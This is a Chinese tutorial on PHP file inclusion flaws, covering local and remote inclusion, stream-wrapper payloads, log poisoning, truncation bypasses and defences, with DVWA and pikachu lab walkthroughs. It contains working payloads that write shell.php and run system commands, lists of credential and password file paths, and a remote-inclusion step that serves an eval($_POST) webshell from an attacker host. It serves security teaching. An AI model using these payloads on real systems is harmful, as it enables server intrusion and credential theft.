程序開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這種文件調用的過程一般被稱為文件包含。程序開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
在通過PHP的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,導致意外的文件洩露甚至惡意的代碼注入。
動態包含
在使用文件包含的時候,為了更靈活的包含文件,將文件包含的名字處設置為變量,而這個變量是通過GET方式來獲取的值,這樣既可通過前端所輸入的文件名進行包含對應的文件。
2、漏洞產生原因程序沒有對文件的來源進行嚴格的審查,可以被用戶控制,包含其他惡意文件,導致了執行了非預期的代碼,也就是程式設計師在編寫代碼的時候觸犯的邏輯性的錯誤,就可能會導致文件讀取漏洞和其它類型的漏洞
PHP中文件包含函數有以下四種:
require()
require_once()
include()
include_once()包含函數
PHP常見的導致文件包含的函數如下:include(),include_once(),require(),require_once(),fopen(),readfile() 當使用前4個函數包含一個新的文件時,只要文件內容符合PHP語法規範,那麼任何擴展名都可以被PHP解析。包含非PHP語法規範源文件時,將會暴露其原始碼。
3、漏洞分類及其區別遠程包含與本地包含
遠程文件包含,需要php.ini開啟了allow_url_fopen和allow_url_include的配置。包含的文件是第三方伺服器的文件。
本地文件包含的含義就是包含本地伺服器的文件
遠程與本地包含的區別
本地文件包含就是通過瀏覽器包含web伺服器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格的過濾允許遍歷目錄的字符注入瀏覽器並執行。
遠程文件包含就是允許攻擊者包含一個遠程的文件,一般是在遠程伺服器上預先設置好的腳本。此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息洩露、拒絕服務攻擊,甚至在目標伺服器上執行代碼。
本地文件包含與遠程文件有著相同的原理,但前者只能包含伺服器上存在的文件,而後者可以包含遠程伺服器上的文件。
4、文件包含漏洞危害1、讀取web配置文件以及敏感的數據
2、web伺服器的文件被外界瀏覽導致信息洩露;
3、與文件上傳漏洞組合getshell,將惡意代碼執行解析
一般來說,遠程文件包含漏洞危害更大
二、文件包含漏洞利用1、偽協議利用file://
http://
php://僅能夠對伺服器本地的文件進行包含,由於伺服器上的文件並不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力。
PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 內存中、磁碟備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器
1、php://input說明:用來接收POST數據。我們能夠通過input把我們的語句輸入上去然後執行。
條件:
php <5.0 ,allow_url_include=Off 情況下也可以用
php > 5.0,只有在allow_url_fopen=On 時才能使用
例1 :增加一句話:
背景:結果將在file.php所在文件下的文件shell.php內增加"<?php phpinfo();?>"一句話。
URL:
http://localhost/include/file.php?file=php://inputPOST:
<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>例2:增加文件
背景:通過fopen參數為w,可新建一個文件,並在新建的文件shell.php中寫入<?php phpinfo();?>
URL:
http://localhost/include/file.php?file=php://inputPOST:
<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>例3:執行系統命令
背景:通過php的系統執行函數,將執行命令寫入到文件中,並且執行系統命令
URL:
http://localhost/include/file.php?file=php://inputPOST:
<?php system('ipconfig');?>2、data://說明:
這是一種數據流封裝器,data:URI schema(URL schema可以是很多形式)
利用data://偽協議進行代碼執行的思路原理和php://是類似的,都是利用了PHP中的流的概念,將原本的include的文件流重定向到了用戶可控制的輸入流中
條件:
allow_url_include=Onphp > 5.2例1:文字命令
背景:使用了base64加密的內容
Payload:
例2 圖片命令:
背景:後面加上圖片木馬
Payload:
http://localhost/image.php?imagedata=data://image/jpeg;base64,data://手冊:http://www.php.net/manual/zh/wrappers.data.php
3、php://filter:這個語句用來查看源碼。直接包含php文件時會被解析,不能看到源碼,所以用filter來讀取,不過要先base64加密傳輸過來:
Payload:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword(絕對路徑)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword
(相對路徑)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/
《php:// 》:http://php.net/manual/zh/wrappers.php.php手冊
包含日誌文件
說明:比如Web伺服器的訪問日誌文件,這是一種通用的技巧。因為幾乎所有網站都會將用戶的訪問記錄到訪問日誌中。因此,攻擊者可以向Web日誌中插入PHP代碼,通過文件包含漏洞來執行包含在Web日誌中的PHP代碼。下面的案例中就是利用該技巧成功獲取到目標網站的WebShell的。但需要注意的是,如果網站訪問量大的話,日誌文件可能會非常大,這時如果包含一個這麼大的文件時,PHP進程可能會卡死。一般網站通常會每天生成一個新的日誌文件,因此在凌晨時進行攻擊相對來說容易成功。
日誌默認路徑
apache+Linux日誌默認路徑
/etc/httpd/logs/access_log/var/log/httpd/access_log
apache+win2003日誌默認路徑
D:xamppapachelogsaccess.log
D:xamppapachelogserror.logIIS6.0+win2003默認日誌文件
C:WINDOWSsystem32Logfiles
IIS7.0+win2003 默認日誌文件
%SystemDrive%inetpublogsLogFiles
nginx 日誌文件在用戶安裝目錄的logs目錄下
如安裝目錄為/usr/local/nginx,則日誌目錄就是在/usr/local/nginx/logs裡
也可通過其配置文件Nginx.conf,獲取到日誌的存在路徑(/opt/nginx/logs/access.log)
例1 :包含日誌一句話
背景:日誌會記錄客戶端請求及伺服器響應的信息,訪問http://www.xx.com/<?php phpinfo(); ?>時,<?php phpinfo(); ?>也會被記錄在日誌裡,也可以插入到User-Agent,但是請求的信息有可能被url編碼之後記錄日誌,這裡可以通過burp來發送請求包來防止被編碼,通過相對路徑找到日誌文件,用webshell工具連接即可
Payload:
http://localhost/include/file.php?file=../../apache/logs/access.log
4、file://用於訪問本地文件系統,通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響。include()/require()/include_once()/require_once()參數可控的情況下,如導入為非.php文件,則仍按照php語法進行解析,這是include()函數所決定的。
file://文件系統是 PHP 使用的默認封裝協議,展現了本地文件系統。當指定了一個相對路徑(不以/、、\或 Windows 盤符開頭的路徑)提供的路徑將基於當前的工作目錄。在很多情況下是腳本所在的目錄,除非被修改了。使用 CLI 的時候,目錄默認是腳本被調用時所在的目錄。在某些函數裡,例如fopen()和file_get_contents(),include_path會可選地搜索,也作為相對的路徑。
用法:
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext示例:
文件的相對路徑和文件名
http://127.0.0.1/include2.php?file=./phpinfo.txt
file://[文件的絕對路徑和文件名]
http://127.0.0.1/include2.php?file=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.txt
http://網絡路徑和文件名
http://127.0.0.1/include2.php?file=http://127.0.0.1/phpinfo.txt
實操一題:某題目
check me 點擊後就是這樣
不曉得包含的哪些配置文件
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
讀源碼,回顯的源碼經過base64編碼,所以要解碼後才能讀到源碼,flag就在裡面了
<html><title>asdf</title> <?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); ?></html>2、文件包含漏洞繞過00字符截斷(PHP<5.3.4)
PHP內核是由C語言實現的,因此使用了C語言中的一些字符串處理函數。在連接字符串時,0位元組(x00)將作為字符串的結束符。所以在這個地方,攻擊者只要在最後加入一個0位元組,就能截斷file變量之後的字符串
通過web輸入時,只需UrlEncode,變成:
../etc/passwd%00
字符串截斷的技巧,也是文件包含中最常用的技巧
防禦方法:
在一般的web應用中,0位元組用戶其實是不需要的,因此完全可以禁用0位元組
超長字符截斷
採用00字符過濾並沒有完全解決問題,
利用作業系統對目錄最大長度的限制,可以不需要0位元組而達到截斷的目的。
http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
我們知道目錄字符串,在window下256位元組、linux下4096位元組時會達到最大值,最大值長度之後的字符將被丟棄。
而利用"./"的方式即可構造出超長目錄字符串:
除了incldue()等4個函數之外,PHP中能夠對文件進行操作的函數都有可能出現漏洞。雖然大多數情況下不能執行PHP代碼,但能夠讀取敏感文件帶來的後果也是比較嚴重的。例如: fopen()、fread()
任意目錄遍歷
除了這種攻擊方式,還可以使用"../../../"這樣的方式來返回到上層目錄中,這種方式又被稱為"目錄遍歷(Path Traversal)"。常見的目錄遍歷漏洞,還可以通過不同的編碼方式來繞過一些伺服器端的防禦邏輯(WAF)
防禦方法:
目錄遍歷漏洞是一種跨越目錄讀取文件的方法,但當PHP配置了open_basedir時,將很好地保護伺服器,使得這種攻擊無效。
open_basedir的作用是限制在某個特定目錄下PHP能打開的文件(有點像chroot的感覺)
比如在沒有設置open_basedir時,文件包含漏洞可以訪問任意文件。
當設置了open_basedir時,則包含文件失敗。
問號截斷
如果路徑的後半段都定死了,但是結合HTTP傳參的原理可以繞過去
攻擊者可以構造類似如下的攻擊URL:
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
產生的原理:
/?path=http://localhost/test/solution.php?
最終目標應用程式代碼實際上執行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
(注意,這裡很巧妙,問號"?"後面的代碼被解釋成URL的querystring,這也是一種"截斷"思想,和%00一樣)
攻擊者可以在http://localhost/test/solution.php上模擬出相應的路徑,從而使之吻合
三、常見的敏感信息路徑Windows系統
c:\boot.ini // 查看系統版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
c:\windows\php.ini // php 配置信息
Linux/Unix系統
/etc/passwd // 帳戶信息
/etc/shadow // 帳戶密碼文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
/usr/local/app/php5/lib/php.ini // PHP相關配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
四、防禦思路1、無需情況下設置(在php.ini文件中)allow_url_include和allow_url_fopen為關閉,或者最小權限化
2、對可以包含的文件進行限制,可以使用白名單的方式,或者設置可以包含的目錄,如open_basedir
3、儘量不使用動態包含
4、嚴格檢查變量是否已經初始化。
5、嚴格檢查輸入的地址,不允許出現目錄跳轉符。嘗試對所有輸入提交可能可能包含的文件地址,包括伺服器本地文件及遠程文件,進行嚴格的檢查,參數中不允許出現../之類的目錄跳轉符。
6、嚴格檢查include類的文件包含函數中的參數是否外界可控。
7、不要僅僅在客戶端做數據的驗證與過濾,關鍵的過濾步驟在服務端進行。
8、在發布應用程式之前測試所有已知的威脅。
三個方面具體解釋:
過濾特殊符號
在進行文件包含的時候我們可能經常會用到幾個固定的字符,或者我們在用偽協議的時候我們也會使用特定的字符,例如:\,//,input,output,filter等我們可以將這些銘感字符都給過濾掉。代碼如下
指定包含的文件 (白名單)
我們在做網站開發的時候我們可能經常會使用我們文件包含的函數,但是我們呢包含的文件都是我們指定的文件,也就是我們知道我們需要包含什麼文件。這樣,我們在包含文件的時候就可以添加一條規則,讓我們只能包含指定的文件,如果我們包含了非指定的文件,程序就會報錯退出
文件目錄
php的配置文件中有open_basedir選項可以設置用戶需要執行的文件目錄,如果設置文件目錄的話,我們編寫的腳本只會在該目錄中搜索文件,這樣我們就可以把我們需要包含的文件放到這個目錄就可以了,從而也避免了敏感文件的洩露
DVWA文件包含漏洞靶場File Inclusion,意思是文件包含(漏洞),是指當伺服器開啟alLow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行
low源碼分析
點擊下面的三個連結,伺服器會包含相應的文件,並將結果返回
修改URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini
我們再嘗試一下包含一個phpinfo.txt文件,內容為<?php phpinfo();?>需要特別說明的是,伺服器包含文件時,不管文件後綴是否是php,都會嘗試當做php文件執行,如果文件內容確為php,則會正常執行並返回結果,如果不是,則會原封不動地列印文件內容,所以文件包含漏洞常常會導致任意文件讀取與任意命令執行
Mediumstr_replace() //將參數中的http:// https:// ../ ..\都替換成空,很明顯可以雙寫繞過這個
相當於做了一些過濾操作了,禁止目錄跳轉字符和http/https協議
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini
那如果我不知道具體目錄,肯定不能按照上面這個寫法來弄,但可以做雙寫繞過
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/phpinfo.php
同理,…/./,過濾後變成../
High//文件名必須以file開始,或只能為include.php
file協議
什麼是File:File協議主要用於訪問本地計算機中的文件,就如同在Windows資源管理器中打開文件一樣。
如何使用File:要使用File協議,基本的格式如下:file:///文件路徑,比如要打開F盤flash文件夾中的1.swf文件,那麼可以在資源管理器或瀏覽器地址欄中輸入:file:///f:/flash/1.swf回車。
High級別的代碼規定只能包含file開頭的文件,看似安全,不幸的是我們依然可以利用file協議繞過防護策略。file協議其實我們並不陌生,當我們用瀏覽器打開一個本地文件時,用的就是file協議,構造如下URL
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini
impossbile//file變量只能為include.php、file1、file2、file3其中一個
Impossible級別的代碼使用了白名單機制進行防護,簡單粗暴,page參數必須為「include.php」、「file1.php」、「file2.php」、「file3.php」之一,徹底杜絕了文件包含漏洞。
pikachu文件包含漏洞靶場本地文件包含http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
修改為:
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../phpinfo.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
成功包含
遠程文件包含先看看url:
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#
復現步驟:
1:使用kali來做遠程主機 2:在kali的/var/www/html/目錄下新建phpinfo.txt
cd /var/www/html/
vim phpinfo.txt
<?php phpinfo(); ?> <?php @eval($_POST['wx']); ?>
systemctl start apache2.service
systemctl status apache2.service訪問kali,沒問題
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.142.128/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#
OK
【歷史文章】:
【入門教程】常見的Web漏洞--XSS
【入門教程】常見的Web漏洞--SQL注入
sql注入--入門到進階
簡訊驗證碼安全常見邏輯漏洞
最全常見Web安全漏洞總結及推薦解決方案
常見的Web應用的漏洞總結(原理、危害、防禦)
代碼審計常見漏洞總結
Web安全漏洞的靶場演示
13 款 Linux 比較實用的工具
xss攻擊、繞過最全總結
學習更多技術,關注我:
覺得文章不錯給點個『再看』吧